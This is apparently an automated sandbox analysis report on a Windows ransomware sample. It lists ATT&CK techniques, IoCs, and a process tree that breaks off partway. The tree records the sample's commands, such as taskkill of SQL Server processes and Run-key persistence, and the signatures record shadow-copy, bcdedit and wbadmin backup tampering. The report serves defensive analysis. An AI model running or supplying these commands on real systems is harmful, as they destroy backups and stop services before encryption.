9e0723c997227302cf234f9ae3888b0b18a4a1ec892ecab86aad3279ca455ee2

Resubmissions

14-12-2024 01:58

241214-cd5lpsspev 10

14-12-2024 01:33

241214-byxk6atrfq 10

Analysis

max time kernel
149s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
14-12-2024 01:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
Size

422KB
MD5

a7b4ded56a745d078dfc02c6302d136e
SHA1

20b7e3930741e1ab3ab0f2f74617062b47fffbd8
SHA256

13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3
SHA512

0f3320c525141c3eea4ae28a199327f28784fa5f53f81b8abfeb2d5ae620286fdf1b60def07db8d256623f255f8ebd18c06b5880d423e58477686fb4cda79ea5
SSDEEP

6144:MTqhlztbElkd+s0zyykmkkES0J2txMLVesCjuwptsOXNZcX9PNCFR09KKPOeFhbb:RhDdkybr/J2tx2VeFusZXQJhkeFhbb

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2756 created 1200	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	21

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5768	bcdedit.exe
5592	bcdedit.exe

Renames multiple (224) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes System State backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5652	wbadmin.exe

Deletes system backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3940	wbadmin.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\BabyLockerKZ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe\""	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\BabyLockerKZ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe\""	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\J:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\T:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\W:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\X:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\Y:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\A:	cipher.exe
File opened (read-only)	\??\A:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\L:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\O:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\U:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\V:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\E:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\H:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\M:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\N:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\R:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\S:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\Z:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\F:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\I:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\K:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\P:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\Q:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\F:	cipher.exe
File opened (read-only)	\??\G:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5788	vssadmin.exe

Kills process with taskkill 14 IoCs

evasion

pid	Process
592	taskkill.exe
1696	taskkill.exe
1980	taskkill.exe
1756	taskkill.exe
2028	taskkill.exe
536	taskkill.exe
1916	taskkill.exe
2080	taskkill.exe
2392	taskkill.exe
1544	taskkill.exe
444	taskkill.exe
2796	taskkill.exe
2388	taskkill.exe
704	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	592	taskkill.exe
Token: SeDebugPrivilege	1916	taskkill.exe
Token: SeDebugPrivilege	1756	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	2080	taskkill.exe
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	1980	taskkill.exe
Token: SeDebugPrivilege	2392	taskkill.exe
Token: SeDebugPrivilege	1544	taskkill.exe
Token: SeDebugPrivilege	444	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5780	WMIC.exe
Token: SeSecurityPrivilege	5780	WMIC.exe
Token: SeTakeOwnershipPrivilege	5780	WMIC.exe
Token: SeLoadDriverPrivilege	5780	WMIC.exe
Token: SeSystemProfilePrivilege	5780	WMIC.exe
Token: SeSystemtimePrivilege	5780	WMIC.exe
Token: SeProfSingleProcessPrivilege	5780	WMIC.exe
Token: SeIncBasePriorityPrivilege	5780	WMIC.exe
Token: SeCreatePagefilePrivilege	5780	WMIC.exe
Token: SeBackupPrivilege	5780	WMIC.exe
Token: SeRestorePrivilege	5780	WMIC.exe
Token: SeShutdownPrivilege	5780	WMIC.exe
Token: SeDebugPrivilege	5780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5780	WMIC.exe
Token: SeRemoteShutdownPrivilege	5780	WMIC.exe
Token: SeUndockPrivilege	5780	WMIC.exe
Token: SeManageVolumePrivilege	5780	WMIC.exe
Token: 33	5780	WMIC.exe
Token: 34	5780	WMIC.exe
Token: 35	5780	WMIC.exe
Token: SeBackupPrivilege	1420	vssvc.exe
Token: SeRestorePrivilege	1420	vssvc.exe
Token: SeAuditPrivilege	1420	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2672	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	31
PID 2756 wrote to memory of 2672	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	31
PID 2756 wrote to memory of 2672	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	31
PID 2756 wrote to memory of 2672	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	31
PID 2672 wrote to memory of 2744	2672	cmd.exe	33
PID 2672 wrote to memory of 2744	2672	cmd.exe	33
PID 2672 wrote to memory of 2744	2672	cmd.exe	33
PID 2672 wrote to memory of 2744	2672	cmd.exe	33
PID 2756 wrote to memory of 2844	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	34
PID 2756 wrote to memory of 2844	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	34
PID 2756 wrote to memory of 2844	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	34
PID 2756 wrote to memory of 2844	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	34
PID 2844 wrote to memory of 2920	2844	cmd.exe	36
PID 2844 wrote to memory of 2920	2844	cmd.exe	36
PID 2844 wrote to memory of 2920	2844	cmd.exe	36
PID 2844 wrote to memory of 2920	2844	cmd.exe	36
PID 2920 wrote to memory of 2796	2920	cmd.exe	37
PID 2920 wrote to memory of 2796	2920	cmd.exe	37
PID 2920 wrote to memory of 2796	2920	cmd.exe	37
PID 2756 wrote to memory of 2604	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	39
PID 2756 wrote to memory of 2604	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	39
PID 2756 wrote to memory of 2604	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	39
PID 2756 wrote to memory of 2604	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	39
PID 2604 wrote to memory of 2252	2604	cmd.exe	41
PID 2604 wrote to memory of 2252	2604	cmd.exe	41
PID 2604 wrote to memory of 2252	2604	cmd.exe	41
PID 2604 wrote to memory of 2252	2604	cmd.exe	41
PID 2252 wrote to memory of 2388	2252	cmd.exe	42
PID 2252 wrote to memory of 2388	2252	cmd.exe	42
PID 2252 wrote to memory of 2388	2252	cmd.exe	42
PID 2756 wrote to memory of 1928	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	43
PID 2756 wrote to memory of 1928	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	43
PID 2756 wrote to memory of 1928	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	43
PID 2756 wrote to memory of 1928	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	43
PID 1928 wrote to memory of 1588	1928	cmd.exe	45
PID 1928 wrote to memory of 1588	1928	cmd.exe	45
PID 1928 wrote to memory of 1588	1928	cmd.exe	45
PID 1928 wrote to memory of 1588	1928	cmd.exe	45
PID 1588 wrote to memory of 536	1588	cmd.exe	46
PID 1588 wrote to memory of 536	1588	cmd.exe	46
PID 1588 wrote to memory of 536	1588	cmd.exe	46
PID 2756 wrote to memory of 808	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	47
PID 2756 wrote to memory of 808	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	47
PID 2756 wrote to memory of 808	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	47
PID 2756 wrote to memory of 808	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	47
PID 808 wrote to memory of 576	808	cmd.exe	49
PID 808 wrote to memory of 576	808	cmd.exe	49
PID 808 wrote to memory of 576	808	cmd.exe	49
PID 808 wrote to memory of 576	808	cmd.exe	49
PID 576 wrote to memory of 592	576	cmd.exe	50
PID 576 wrote to memory of 592	576	cmd.exe	50
PID 576 wrote to memory of 592	576	cmd.exe	50
PID 2756 wrote to memory of 1796	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	51
PID 2756 wrote to memory of 1796	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	51
PID 2756 wrote to memory of 1796	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	51
PID 2756 wrote to memory of 1796	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	51
PID 1796 wrote to memory of 3056	1796	cmd.exe	53
PID 1796 wrote to memory of 3056	1796	cmd.exe	53
PID 1796 wrote to memory of 3056	1796	cmd.exe	53
PID 1796 wrote to memory of 3056	1796	cmd.exe	53
PID 3056 wrote to memory of 1916	3056	cmd.exe	54
PID 3056 wrote to memory of 1916	3056	cmd.exe	54
PID 3056 wrote to memory of 1916	3056	cmd.exe	54
PID 2756 wrote to memory of 2368	2756	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	55

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1200
- C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
  "C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Adds Run key to start application
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c rem Kill "SQL"
      4⤵
      PID:2744
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2920
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlbrowser.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2796
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sql writer.exe
        5⤵
        Kills process with taskkill
        
        PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1588
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlserv.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:536
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:576
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im msmdsrv.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:592
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1796
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3056
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im MsDtsSrvr.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1916
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
      4⤵
      PID:2148
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlceip.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1756
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
      4⤵
      PID:2868
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im fdlauncher.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
- - C:\Windows\SysWOW64\cmd.exe
